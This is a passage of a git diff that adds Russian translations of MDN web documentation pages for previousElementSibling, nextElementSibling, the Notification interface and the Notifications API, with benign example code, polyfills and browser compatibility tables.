+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nondocumenttypechildnode-nextelementsibling', 'ChildNodenextElementSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Split the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}}, {{domxref("ParentNode")}}, and {{domxref("NonDocumentTypeChildNode")}}. This method is now defined on the former.<br>
+    The {{domxref("Element")}} and {{domxref("CharacterData")}} interfaces implemented the new interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-nextElementSibling', 'ElementTraversal.nextElementSibling')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Браузеры</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ({{domxref("Element")}})</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>9.8</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("CharacterData")}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Браузеры</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ( {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("CharacterData")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 также добавил это свойство в {{domxref("DocumentType")}}, но оно было удалено в Firefox 28, из-за проблем совместимости.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Чистый интерфейс {{domxref("ChildNode")}}.</li>
+ <li>Типы объектов, реализующих этот чистый интерфейс: {{domxref("CharacterData")}}, {{domxref("Element")}}, и {{domxref("DocumentType")}}. </li>
+</ul>
diff --git a/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html b/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html
new file mode 100644
index 0000000000..2cc659ef51
--- /dev/null
+++ b/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html
@@ -0,0 +1,185 @@
+---
+title: NonDocumentTypeChildNode.previousElementSibling
+slug: Web/API/NonDocumentTypeChildNode/previousElementSibling
+translation_of: Web/API/NonDocumentTypeChildNode/previousElementSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>NonDocumentTypeChildNode.previousElementSibling</strong></code> только для чтения возвращает  {{domxref("Element")}} элемент стоящий перед применяемым, из списка дочерних элементов родителя или возвращает null, если таковых не имеется.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>prevNode</var> = elementNodeReference.previousElementSibling;
+</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;Here is div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Here is div-02&lt;/div&gt;
+&lt;li&gt;This is a list item&lt;/li&gt;
+&lt;li&gt;This is another list item&lt;/li&gt;
+&lt;div id="div-03"&gt;Here is div-03&lt;/div&gt;
+
+&lt;script&gt;
+  var el = document.getElementById('div-03').previousElementSibling;
+  document.write('&lt;p&gt;Siblings of div-03&lt;/p&gt;&lt;ol&gt;');
+  while (el) {
+    document.write('&lt;li&gt;' + el.nodeName + '&lt;/li&gt;');
+    el = el.previousElementSibling;
+  }
+  document.write('&lt;/ol&gt;');
+&lt;/script&gt;
+</pre>
+
+<p>Этот пример выводит следующие элементы на страницу при загрузке:</p>
+
+<pre>Соседи div-03
+
+   1. LI
+   2. LI
+   3. DIV
+   4. DIV
+</pre>
+
+<h2 id="Полифилл_для_Internet_Explorer_8">Полифилл для Internet Explorer 8</h2>
+
+<p>Это свойство поддерживается начиная с версии IE9, поэтому следующий фрагмент поддерживается, и может использоваться для IE8:</p>
+
+<pre class="brush: js">// Ресурс: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("previousElementSibling" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "previousElementSibling", {
+        get: function(){
+            var e = this.previousSibling;
+            while(e &amp;&amp; 1 !== e.nodeType)
+                e = e.previousSibling;
+            return e;
+        }
+    });
+}</pre>
+
+<h2 id="Specification" name="Specification">Полифилл для  Internet Explorer 9+ и Safari</h2>
+
+<pre class="brush: js">// Ресурс: https://github.com/jserz/js_piece/blob/master/DOM/NonDocumentTypeChildNode/previousElementSibling/previousElementSibling.md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('previousElementSibling')) {
+      return;
+    }
+    Object.defineProperty(item, 'previousElementSibling', {
+      configurable: true,
+      enumerable: true,
+      get: function () {
+        var el = this;
+        while (el = el.previousSibling) {
+          if (el.nodeType === 1) {
+            return el;
+          }
+        }
+        return null;
+      },
+      set: undefined
+    });
+  });
+})([Element.prototype, CharacterData.prototype]);</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nondocumenttypechildnode-previouselementsibling', 'NonDocumentTypeChildNode.previousElementSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}}, {{domxref("ParentNode")}}, and {{domxref("NonDocumentTypeChildNode")}}. This method is now defined on the former.<br>
+    The {{domxref("Element")}} and {{domxref("CharacterData")}} interfaces implemented the new interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-previousElementSibling', 'ElementTraversal.previousElementSibling')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функционал</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>9.8</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("CharacterData")}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функционал</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("CharacterData")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 так же добавлено это свойство {{domxref("DocumentType")}}, но было удалено в Firefox 28 из-за проблем с совместимостью.</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li> {{domxref("NonDocumentTypeChildNode")}} чистый интерфейс.</li>
+ <li>
+  <div class="syntaxbox">Типы объектов реализующие чистый интерфейс: {{domxref("CharacterData")}}, и {{domxref("Element")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/notification/index.html b/files/ru/web/api/notification/index.html
new file mode 100644
index 0000000000..ceeee1905f
--- /dev/null
+++ b/files/ru/web/api/notification/index.html
@@ -0,0 +1,378 @@
+---
+title: Уведомление
+slug: Web/API/notification
+translation_of: Web/API/Notification
+---
+<p> </p>
+
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>Интерфейс <code>Notification</code> из <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> используется для настройки и отображения уведомлений на рабочий стол пользователя.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
+ <dd>Создает новый экземпляр объекта <code>Notification</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<h3 id="Собственные_свойства">Собственные свойства</h3>
+
+<p>Следующие свойства доступны только для самого объекта <code>Notification</code>.</p>
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>Строка, показывающая текущие права доступа для отображения уведомлений. Возможные значения:</dd>
+</dl>
+
+<ul>
+ <li><code>denied</code> - Пользователь отказался от отображения уведомлений.</li>
+ <li><code>granted</code> - Пользователь дал согласие на отображение уведомлений.</li>
+ <li><code>default</code> - Выбор пользователя неизвестен, и поэтому браузер будет действовать так, как если бы значение было <code>denied</code></li>
+</ul>
+
+<h3 id="Свойства_экземпляра">Свойства экземпляра</h3>
+
+<p>Следующие свойства доступны только для экземпляров объекта <code>Notification</code>.</p>
+
+<dl>
+ <dt>{{domxref("Notification.actions")}} {{readonlyinline}}</dt>
+ <dd>Массив действий уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.badge")}} {{readonlyinline}}</dt>
+ <dd>URL изображения, используемого для отображения уведомления в случае, если недостаточно места для самого уведомления.</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>Основное тело (текст) уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>Возвращает структурированную копию содержания уведомления.</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>Направление текста уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>Код языка уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>Инденцификатор (ID) уведомления, если есть, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
+ <dd>URL изображения, используемого в качестве иконки уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.image")}} {{readonlyinline}}</dt>
+ <dd>URL изображения, которое должно быть изображено в уведомлении, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd>Определяет, должен ли пользователь снова быть уведомлен, если новое уведомление заменяет предыдущее.</dd>
+</dl>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Notification.requireInteraction")}} {{readonlyinline}}</dt>
+ <dd><a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Boolean">Булево значение</a>, отражающее, останется ли уведомление активным до тех пор, пока пользователь вручную не кликнет или не закроет его, в противоположность автоматическому закрытию со временем. </dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>Указывает, должно ли уведомление не сопровождаться звуковым или вибро сигналом, независимо от настроек устройства.</dd>
+</dl>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Notification.timestamp")}} {{readonlyinline}}</dt>
+ <dd>Указывает время, в которое уведомление создано, либо применимо (в прошлом, настоящем или будущем).</dd>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>Заголовок уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>Задает шаблон вибрации для устройств с вибро.</dd>
+</dl>
+
+<h4 id="Не_поддерживаемые_свойства">Не поддерживаемые свойства</h4>
+
+<p>Следующие свойства указаны в наиболее актуальной спецификации, но пока что не поддерживаются браузерами. Рекомендуем регулярно проверять актуальность этой информации, и если их статус изменится, пожалуйста, просим оповестить нас.</p>
+
+<dl>
+ <dt>
+ <p>{{domxref("Notification.noscreen")}} {{readonlyinline}}</p>
+ </dt>
+ <dd>Определяет, должно ли срабатывание уведомления включать дисплей устройства или нет.</dd>
+ <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
+ <dd>Определяет, должно ли уведомление быть "липким", то есть не легко закрываемым.</dd>
+</dl>
+
+<h4 id="Обработчики_событий">Обработчики событий</h4>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>Обработчик события {{event("click")}}. Срабатывает каждый раз, когда пользователь кликает по уведомлению.</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>Обработчик события {{event("error")}}. Срабатывает каждый раз, когда уведомление сталкивается с ошибкой. </dd>
+</dl>
+
+<h4 id="Устаревшие_обработчики_событий">Устаревшие обработчики событий</h4>
+
+<p>Следующие обработчики событий все еще поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.</p>
+
+<dl>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>Обработчик события {{event("close")}}. Срабатывает при закрытии уведомления пользователем.</dd>
+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>Обработчик события {{event("show")}}. Срабатывает при отображении уведомления.</dd>
+ <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
+ <dd>Определяет звуковой файл для воспроизведения при уведомлении, по умолчанию установлен системный звук.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<h3 id="Собственные_методы">Собственные методы</h3>
+
+<p>Следующие методы доступны только для самого объекта <code>Notification</code>.</p>
+
+<dl>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd>Запрашивает разрешение у пользователя показывать уведомления.</dd>
+</dl>
+
+<h3 id="Методы_экземпляра">Методы экземпляра</h3>
+
+<p>Следующие методы доступны только для экземпляров объекта <code>Notification</code>, либо через его <code><a href="/ru/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">прототип</a></code>. Объект <code>Notification</code> также наследует методы интерфейса {{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>Программно закрывает уведомление.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Базовый HTML:</p>
+
+<pre class="brush: html">&lt;button onclick="notifyMe()"&gt;Notify me!&lt;/button&gt;</pre>
+
+<p>Отправить уведомление можно следующим образом — ниже представлен довольно подробный и полный набор кода, который вы могли бы использовать для того, чтобы сначала проверить поддержку уведомлений, затем проверить, позволено ли данному источнику отправлять уведомления, и наконец, запросив разрешение, если требуется, отправить уведомление.</p>
+
+<pre class="brush: js">function notifyMe() {
+  // Проверка поддержки браузером уведомлений
+  if (!("Notification" in window)) {
+    alert("This browser does not support desktop notification");
+  }
+
+  // Проверка разрешения на отправку уведомлений
+  else if (Notification.permission === "granted") {
+    // Если разрешено, то создаем уведомление
+    var notification = new Notification("Hi there!");
+  }
+
+  // В противном случае, запрашиваем разрешение
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // Если пользователь разрешил, то создаем уведомление
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // В конечном счете, если пользователь отказался от получения
+  // уведомлений, то стоит уважать его выбор и не беспокоить его
+  // по этому поводу.
+}</pre>
+
+<p>{{EmbedLiveSample('%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80', '100%', 30)}}</p>
+
+<p>В большинстве случаев вам не надо быть столь многословными. Например в нашем <a href="http://mdn.github.io/emogotchi/">демо Emogotchi</a> (<a href="https://github.com/mdn/emogotchi">исходный код</a>), мы просто запускаем {{domxref("Notification.requestPermission")}} несмотря ни на что, чтобы быть уверенными, что мы сможем получить разрешение на отправку уведомлений (тут используется синтаксис новейшего promise-based метода):</p>
+
+<pre class="brush: js"><code>Notification.requestPermission().then(function(result) {
+  console.log(result);
+});</code></pre>
+
+<p>Затем мы запускаем простую функцию <code>spawnNotification()</code>, когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создает необходимый объект параметров <code>options</code> и запускает уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}.</p>
+
+<pre class="brush: js"><code>function spawnNotification(body, icon, title) {
+  var options = {
+      body: body,
+      icon: icon
+  };
+  var n = new Notification(title, options);
+}</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Уровень жизни </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.</p>
+
+<p>До Chrome 32, {{domxref("Notification.permission")}} не поддерживается.</p>
+
+<p>До Chrome 42, дополнения service worker не поддерживаются.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification</code> method.</p>
+
+<p>Prior to Firefox 22 (Firefox OS &lt;1.2), the Notification was displayed when calling the <code>show</code> method and supported only the <code>click</code> and <code>close</code> events.</p>
+
+<p>Nick Desaulniers написал <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a>, чтобы покрыть как новые так и старые реализации.</p>
+
+<p>One particular Firefox OS issue is that you can <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">pass a path to an icon</a> to use in the notification, but if the app is packaged you cannot use a relative path like <code>/my_icon.png</code>. You also can't use <code>window.location.origin + "/my_icon.png"</code> because <code>window.location.origin</code> is null in packaged apps. The <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">manifest origin field</a> fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS &lt;1.1 is to <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">pass an absolute URL to an externally hosted version of the icon</a>. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.</p>
+
+<p>When using notifications  in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above: <code>"permissions": { "desktop-notification": {} }</code></p>
+
+<p>[3] Safari начали поддержку уведомлений с Safari 6, но только на Mac OSX 10.8+ (Mountain Lion).</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
+
+<p> </p>
+
+<ul>
+ <li> </li>
+</ul>
diff --git a/files/ru/web/api/notifications_api/index.html b/files/ru/web/api/notifications_api/index.html
new file mode 100644
index 0000000000..e7963229e2
--- /dev/null
+++ b/files/ru/web/api/notifications_api/index.html
@@ -0,0 +1,191 @@
+---
+title: Notifications API
+slug: Web/API/Notifications_API
+translation_of: Web/API/Notifications_API
+---
+<p>{{DefaultAPISidebar("Web Notifications")}}</p>
+
+<p class="summary">Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешел к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.</p>
+
+<h2 id="Концепция_и_использование">Концепция и использование</h2>
+
+<p>На поддерживаемых платформах, отображение системных уведомлений обычно включает две вещи. Во-первых, пользователь должен разрешить текущему источнику отображать уведомления, что, как правило, происходит, при первичной загрузке приложения или сайта, используя метод  {{domxref("Notification.requestPermission()")}}. Далее будет вызван диалог со следующим текстом:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10819/notification-bubble.png" style="display: block; height: 205px; margin: 0 auto; width: 453px;"></p>
+
+<p>Здесь пользователь может выбрать разрешить уведомления от источника, заблокировать их или решить позже. Как только выбор будет сделан, для текущей сессии будут установлены настройки. </p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Для Firefox 44, разрешения для Notifications и <a href="/en-US/docs/Web/API/Push_API">Push</a> объединяются. Если было установлено разрешение для уведомлений, push так же будут разрешены .</p>
+</div>
+
+<p>Затем создается новое уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>В дополнение, спецификация Notifications API определет несколько дополнений для <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a>, чтобы позволить им отправлять уведомления.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Чтобы найти больше об использовани уведомлений в вашем приложении, читайте <a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Использование Notifications API</a>.</p>
+</div>
+
+<h2 id="Интерфейс_уведомлений">Интерфейс уведомлений</h2>
+
+<dl>
+ <dt>{{domxref("Notification")}}</dt>
+ <dd>Определяет объект уведомления.</dd>
+</dl>
+
+<h3 id="Дополнение_для_Service_worker">Дополнение для Service worker</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
+ <dd>Включает {{domxref("ServiceWorkerRegistration.showNotification()")}} и {{domxref("ServiceWorkerRegistration.getNotifications()")}} методы для контролирования отображения уведомлений.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
+ <dd>Включает обработчик {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} для вызова встроенных функций, когда был выполнен клик на уведомлении.</dd>
+ <dt>{{domxref("NotificationEvent")}}</dt>
+ <dd>Особый тип объекта событий, осованный на {{domxref("ExtendableEvent")}}, который представляет уведомление, которое было вызвано.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
